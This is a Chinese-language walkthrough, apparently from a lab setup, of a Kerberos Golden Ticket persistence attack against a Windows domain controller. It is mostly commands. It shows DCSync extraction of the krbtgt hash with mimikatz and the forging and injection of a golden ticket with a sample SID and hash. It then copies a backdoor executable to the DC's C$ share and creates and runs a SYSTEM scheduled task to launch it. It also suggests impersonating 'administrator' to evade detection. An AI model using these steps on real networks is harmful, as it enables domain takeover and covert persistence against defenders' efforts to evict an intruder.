一、背景
在域渗透的过程中,在首次拿下DC管理权限后,若是管理员发现存在危险进程,则后门程序将很快失效。这个时候,前面的很多努力也就白费了,后续想要再利用先前的手段将很难再拿下DC!
这个时候,当我们可以通过域控中的Kerberos协议来伪造TGT重新获得域控的权限,以此来实现权限维持的目的。
二、使用条件
实验背景:
DC:192.168.30.149
域内机:192.168.30.28
2.1 域名称
shell net time /domain
2.2 域的SID值
shell whoami /user
2.3 域的krbtgt账号的HASH
mimikatz lsadump::dcsync /domain:tech.com /user:krbtgt
- 这里通过DcSync手段从DC拿到krbtgt账户的哈希值
2.4 伪造任意用户名
-
尽量选择
administrator
为伪造的用户名,经测试,部分域内安全设备对该账户检测能力较弱 -
或者选择域内的管理组成员:
shell net group "Domain Admins" /domain
三、攻击
3.1 前置信息汇总
-
综上所述,已经获取到了执行PTT(Pass The Ticket)的前置条件
-
Domain Name :
tech.com
-
Domain Sid :
S-1-5-21-199742676-3285635065-2919482456
-
Krbtgt Hash :
1db343d97ef3f3dc96e63aa148817cb7
-
User Name :
administrator
-
3.2 重新获取DC权限
- 清空会话中的票据
mimikatz kerberos::purge
- 注:使用本操作将会清空当前会话中的所有票据,一般在注入金票前使用
- 填充票据信息
- 成功注入票据
- 以上操作完成后,将自动使用以下命令注入票据
mimikatz kerberos::golden /user:administrator /domain:tech.com /sid:S-1-5-21-199742676-3285635065-2919482456 /krbtgt:1db343d97ef3f3dc96e63aa148817cb7 /endin:480 /renewmax:10080 /ptt
- 查询会话中存在的票据:
mimikatz kerberos::list
- 注意看票据的生效时间、失效时间以及最后的续订时间
- 在有效期内,可以继续使用票据进行PTT,以此实现权限维持
- 获取DC主机名:
shell net time /domain
- 远程访问DC,准备将后门程序传递到DC
shell dir \\dc.tech.com\c$
- 传递后门到远程主机
shell copy C:\Users\test\Desktop\artifact.exe \\dc.tech.com\c$
- 将受控主机上的后门程序传递到域控主机的C盘根目录
- 于DC创建计划任务
shell schtasks /create /s DC.tech.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f
- 在图形界面中的表现是创建了任务计划程序中的任务
- 启动后门程序
shell schtasks /run /s DC.tech.com /i /tn "test"
- 攻击效果
- 通过域内机成功拿下DC控制权限
四、补充
- 本次攻击过程被检测到的信息